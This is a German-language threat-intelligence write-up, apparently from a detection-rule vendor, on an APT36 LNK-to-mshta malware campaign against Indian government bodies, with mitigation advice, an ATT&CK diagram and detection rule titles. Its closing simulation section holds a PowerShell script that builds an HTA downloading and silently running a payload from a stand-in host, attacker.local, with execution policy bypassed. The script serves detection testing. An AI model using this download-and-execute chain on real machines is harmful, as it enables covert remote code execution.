APT36: Mehrstufige LNK-Malware-Kampagne, die sich gegen indische Regierungseinrichtungen richtet
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
APT36 (Transparent Tribe) führte eine Spear-Phishing-Kampagne durch, die eine bösartige LNK-Verknüpfung lieferte, die sich als PDF tarnt. Beim Öffnen startet die Verknüpfung mshta.exe um einen HTA-basierten Loader auszuführen, der Payloads im Speicher entschlüsselt und ausführt, einschließlich eines Konfigurationsmoduls und einer voll ausgestatteten RAT-DLL. Die Malware wählt dynamisch Persistenzmethoden basierend auf dem installierten Antivirenprodukt des Opfers und verbindet sich mit ihrem Command-and-Control-Server über einen verschlüsselten Kanal. Die Aktivität wird als spionagefokussiert bewertet, zielt auf indische Regierungs- und Bildungseinrichtungen ab, um Daten zu stehlen.
Untersuchung
Forscher analysierten die ungewöhnlich große LNK-Datei, verfolgten den eingebetteten HTA-Inhalt gehostet auf innlive.in, und reverse-engineerten die Entschlüsselungslogik. Die Kette offenbarte zwei primäre Phasen: eine .NET-Deserialisierungs-Payload, die genutzt wird, um Sicherheitsprüfungen zu schwächen oder zu umgehen, gefolgt von einer fileless bösartigen DLL (z.B. ki2mtmkl.dll / iinneldc.dll) mit RAT-Funktionalität. Persistenzverhalten wurde auf spezifische Antivirenprodukte abgebildet und wichtige C2-Details wie TCP-Port 8621 und ein AES-Schlüssel der für verschlüsselten Verkehr verwendet wird, wurden während der Analyse extrahiert.
Minderung
Einschränken oder Quarantäne von Verknüpfungs-(.lnk) Anhängen, die per E-Mail geliefert werden, insbesondere wenn sie in ZIP-Archiven gepackt sind. Anwendungssteuerungsrichtlinien anwenden, um die Ausführung von mshta.exe, PowerShell und anderen Skript-Engines von benutzerbeschreibbaren Pfaden aus zu begrenzen. Verwenden Sie Endpunkt-Erkennungen für Prozessketten, die mshta.exe und Anzeichen von In-Memory-DLL-Ausführungen beinhalten, und strenge Egress-Kontrollen durchsetzen, um Kommunikation mit unbekannten oder nicht vertrauenswürdigen Domains zu blockieren.
Reaktion
Wenn eine verdächtige LNK-Ausführung entdeckt wird, isolieren Sie das System, erfassen Sie Speicherabbilder und suchen Sie nach In-Memory-DLL-Indikatoren, die mit der RAT-Phase verbunden sind. Blockieren Sie identifizierte bösartige Domains und damit verbundene IP-Infrastrukturen, und rotieren Sie möglicherweise exponierte Anmeldedaten. Führen Sie eine forensische Überprüfung durch, um Persistenzartefakte im Startordner und in der Registry zu finden, entfernen Sie diese und validieren Sie, dass keine zusätzlichen Zugangspunkte verbleiben.
„graph TB %% Klassendefinitionen classDef technique fill:#cfe2f3 %% Knotendefinitionen tech_T1566_001[„<b>Technik</b> – <b>T1566.001</b> Phishing: Spearphishing-Anhang<br/>Gezielte E-Mail mit bösartigem Anhang senden“] class tech_T1566_001 technique tech_T1218_005[„<b>Technik</b> – <b>T1218.005</b> Ausführung durch System-Binary-Proxy: Mshta<br/>Bösartige HTA über mshta.exe ausführen“] class tech_T1218_005 technique tech_T1059_001[„<b>Technik</b> – <b>T1059.001</b> PowerShell<br/>Führen Sie PowerShell-Befehle aus, um Payload herunterzuladen“] class tech_T1059_001 technique tech_T1059_005[„<b>Technik</b> – <b>T1059.005</b> Visual Basic<br/>HTA-Skript mit VBScript ausführen“] class tech_T1059_005 technique tech_T1027[„<b>Technik</b> – <b>T1027</b> Verschleierte Dateien oder Informationen<br/>Payload ist schichtweise codiert/verschlüsselt“] class tech_T1027 technique tech_T1055[„<b>Technik</b> – <b>T1055</b> Prozessinjektion<br/>Bösartige DLL in legitimen Prozess injizieren“] class tech_T1055 technique tech_T1547_001[„<b>Technik</b> – <b>T1547.001</b> Ausführung beim Booten oder Anmelden: Autostart-Ordner<br/>Persistenz über Verknüpfung im Autostart“] class tech_T1547_001 technique tech_T1112[„<b>Technik</b> – <b>T1112</b> Registrierung ändern<br/>Run-Schlüssel zur Persistenz hinzufügen“] class tech_T1112 technique tech_T1036[„<b>Technik</b> – <b>T1036</b> Tarnung<br/>LNK tarnt sich als PDF“] class tech_T1036 technique tech_T1518_001[„<b>Technik</b> – <b>T1518.001</b> Software-Erkennung: Erkennung von Sicherheitssoftware<br/>Installiertes AV abfragen“] class tech_T1518_001 technique tech_T1082[„<b>Technik</b> – <b>T1082</b> Erkennung von Systeminformationen<br/>OS, Benutzername usw. sammeln“] class tech_T1082 technique tech_T1057[„<b>Technik</b> – <b>T1057</b> Prozess-Erkennung<br/>Prozesse auflisten“] class tech_T1057 technique tech_T1083[„<b>Technik</b> – <b>T1083</b> Datei- und Verzeichniserkennung<br/>Nach Dokumenten suchen“] class tech_T1083 technique tech_T1115[„<b>Technik</b> – <b>T1115</b> Zwischenablage-Daten<br/>Zwischenablage erfassen“] class tech_T1115 technique tech_T1113[„<b>Technik</b> – <b>T1113</b> Bildschirmaufnahme<br/>Bildschirmfotos erfassen“] class tech_T1113 technique tech_T1041[„<b>Technik</b> – <b>T1041</b> Exfiltration über C2-Kanal<br/>Daten über C2 exfiltrieren“] class tech_T1041 technique tech_T1573[„<b>Technik</b> – <b>T1573</b> Verschlüsselter Kanal<br/>C2-Datenverkehr verschlüsselt“] class tech_T1573 technique %% Verbindungen tech_T1566_001 u002du002d>|leads_to| tech_T1218_005 tech_T1218_005 u002du002d>|leads_to| tech_T1059_001 tech_T1218_005 u002du002d>|leads_to| tech_T1059_005 tech_T1059_001 u002du002d>|leads_to| tech_T1027 tech_T1027 u002du002d>|leads_to| tech_T1055 tech_T1055 u002du002d>|leads_to| tech_T1547_001 tech_T1547_001 u002du002d>|leads_to| tech_T1112 tech_T1218_005 u002du002d>|leads_to| tech_T1036 tech_T1036 u002du002d>|leads_to| tech_T1518_001 tech_T1518_001 u002du002d>|leads_to| tech_T1082 tech_T1082 u002du002d>|leads_to| tech_T1057 tech_T1057 u002du002d>|leads_to| tech_T1083 tech_T1083 u002du002d>|leads_to| tech_T1115 tech_T1083 u002du002d>|leads_to| tech_T1113 tech_T1115 u002du002d>|leads_to| tech_T1041 tech_T1113 u002du002d>|leads_to| tech_T1041 tech_T1055 u002du002d>|leads_to| tech_T1573 „
Angriffsfluss
Erkennungen
Mögliches bösartiges LNK-File mit doppelter Erweiterung (via cmdline)
Anzeigen
Verdächtiges LOLBAS-MSHTA-Tarnverhalten durch Erkennung assoziierter Befehle (via process_creation)
Anzeigen
Verdächtige Binärdateien / Skripte am Autostart-Ort (via file_event)
Anzeigen
Verdächtige Dateien im öffentlichen Benutzerprofil (via file_event)
Anzeigen
Verdächtige Ausführung aus öffentlichem Benutzerprofil (via process_creation)
Anzeigen
IOCs (SourceIP) zur Erkennung: APT36: Multi-Stage-LNK-Malware-Kampagne, die indische Regierungseinrichtungen ins Visier nimmt
Anzeigen
IOCs (HashSha256) zur Erkennung: APT36: Multi-Stage-LNK-Malware-Kampagne, die indische Regierungseinrichtungen ins Visier nimmt
Anzeigen
IOCs (DestinationIP) zur Erkennung: APT36: Multi-Stage-LNK-Malware-Kampagne, die indische Regierungseinrichtungen ins Visier nimmt
Anzeigen
Ausführung von mshta.exe mit PowerShell oder CMD [Windows-Prozesserstellung]
Anzeigen
APT36 Bösartiger Domain- und C2-Kommunikationserkennungen [Windows Netzwerkverbindung]
Anzeigen
Erkennung des hart codierten AES-Schlüssels in APT36-Kampagne [Windows Sysmon]
Anzeigen
Simulationsausführung
Voraussetzung: Der Telemetrie- und Basislinien-Preflight-Check muss bestanden haben.
Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der gegnerischen Technik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und zielen darauf ab, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.
-
Angriffs-Narrativ & Befehle:
Ein Angreifer hat niedrigprivilegierten PowerShell-Zugriff auf eine kompromittierte Arbeitsstation erlangt. Um eine Remote-Payload auszuführen, ohne ein ausführbares Programm auf die Festplatte zu schreiben, verwendet der Angreifermshta.exeum eine HTA-Datei auszuführen, die eine PowerShell-Hintertür von einem C2-Server zieht. Die Schritte sind:- Ein minimales bösartiges HTA kodieren, das PowerShell startet, um eine Payload herunterzuladen und auszuführen.
- Hosten Sie das HTA auf einem Webserver (z.B.
http://attacker.local/malicious.hta). - Rufen Sie von der kompromittierten PowerShell-Sitzung
mshta.exemit der Remote-URL als Argument auf.
Diese Kette erzeugt ein Prozesserstellungs Ereignis, bei dem
mshta.exedas Kind vonpowershell.exeist, und es passt genau zur Sigma-Regel. -
Regressionstest-Skript:
#------------------------------------------------- # Simulierter Angreifer-Skript – löst die Regel aus #------------------------------------------------- # 1. Definieren Sie das bösartige HTA (inline für Demonstrationszwecke) $htaContent = @" <script> // Laden und führen Sie eine Dummy-PowerShell-Payload aus var url = 'http://attacker.local/payload.ps1'; var xhr = new ActiveXObject('Microsoft.XMLHTTP'); xhr.open('GET', url, false); xhr.send(); var ps = new ActiveXObject('WScript.Shell'); ps.Run('powershell -NoProfile -ExecutionPolicy Bypass -Command "' + xhr.responseText + '"', 0, false); </script> "@ # 2. Schreiben Sie HTA an temporären Ort (simuliert eine gehostete Datei) $tempPath = "$env:TEMPmalicious.hta" $htaContent | Set-Content -Path $tempPath -Encoding ASCII # 3. Starten Sie mshta.exe von PowerShell aus (der Erkennungs-Trigger) $mshta = (Get-Command mshta.exe).Source Write-Host "[*] Starten von mshta.exe zur Ausführung der HTA-Payload..." Start-Process -FilePath $mshta -ArgumentList "`"$tempPath`"" -NoNewWindow # Optional: Schlaf, um das Ereignis erfassen zu lassen Start-Sleep -Seconds 5 # Bereinigung (wird im nächsten Abschnitt behandelt) -
Bereinigungskommandos:
# Entfernen Sie temporäre HTA-Datei Remove-Item -Path "$env:TEMPmalicious.hta" -Force -ErrorAction SilentlyContinue # Stoppen von eventuell noch laufenden mshta.exe-Prozessen (unwahrscheinlich nach normaler Ausführung) Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force Write-Host "[*] Bereinigung abgeschlossen."